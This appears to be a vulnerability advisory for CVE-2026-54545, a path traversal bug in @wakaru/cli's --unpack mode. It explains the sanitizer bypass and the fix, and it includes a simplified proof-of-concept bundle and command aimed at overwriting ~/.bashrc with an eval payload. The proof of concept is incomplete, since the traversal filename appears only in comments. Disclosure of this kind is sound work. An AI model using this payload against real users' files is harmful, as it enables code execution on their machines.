high · 7.1CVE-2026-54545Jul 28, 2026

CVE-2026-54545: @wakaru/cli Arbitrary File Write via Path Traversal in --unpack

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted JavaScript bundle can trick the @wakaru/cli unpacker into writing extracted module files outside the intended output directory, potentially enabling code execution.

Package@wakaru/cli
Ecosystemnpm
Affected>= 1.0.0, < 1.4.0
Fixed in1.4.0
CVE-2026-54545: @wakaru/cli Arbitrary File Write via Path Traversal in --unpack

The problem

When wakaru --unpack extracts a JavaScript bundle, it derives output filenames from bundle-controlled module names. Those names were sanitized to strip ../ sequences before being joined with the output path.

A filename like ....//evil.js survives the sanitizer: removing the inner ../ leaves ../evil.js, which resolves outside the output directory. An attacker who can get a user to unpack a malicious bundle may write arbitrary files anywhere the user has write access.

Proof of concept

A working proof-of-concept for CVE-2026-54545 in @wakaru/cli, with the exact payload below.

javascript
// Malicious webpack bundle snippet
// Module ID 1 is given a crafted filename in the module-ID mapping
// so that after sanitization, the output path escapes the output dir.
// The key name in the moduleIdMapping is the attacker-controlled filename.

(function(modules) {
  // webpack JSONP bootstrap (simplified)
  var installedModules = {};
  function __webpack_require__(moduleId) {
    if (installedModules[moduleId]) return installedModules[moduleId].exports;
    var module = installedModules[moduleId] = { exports: {} };
    modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
    return module.exports;
  }
  __webpack_require__(1);
})({
  // Module ID 1 mapped to the traversal filename:
  // "....//....//....//home/user/.bashrc"
  // After the naive sanitizer strips "../" once:
  //   "....//" -> "../"  (overlapping match collapses to "../")
  // Resolved output path escapes the -o directory.
  1: function(module, exports) {
    module.exports = 'eval("malicious payload")';
  }
});

// Invoke:
// npx @wakaru/cli malicious-bundle.js --unpack -o /tmp/out
// Writes the extracted module to  /tmp/out/../../home/user/.bashrc
// (i.e., /home/user/.bashrc)

The root cause (CWE-22) is a naive one-pass replace('../', '') style sanitizer applied to bundle-controlled module filenames. Overlapping sequences like ....// defeat it: removing the inner ../ from ....// produces ../, which path.join then resolves normally to escape the output directory.

The patch in commit 1d30383 replaces the single-pass strip with an iterative or regex-anchored check that resolves the final path and asserts it is still inside the intended output directory, rejecting any path that escapes it. This is the standard "resolve-then-prefix-check" pattern used to close sanitizer-bypass traversal bugs.

The fix

Upgrade to @wakaru/cli@1.4.0. Run npm install @wakaru/cli@latest. Until upgraded, do not run wakaru --unpack on bundles from untrusted sources.

Reporter not attributed.

References: [1][2][3][4]

Related research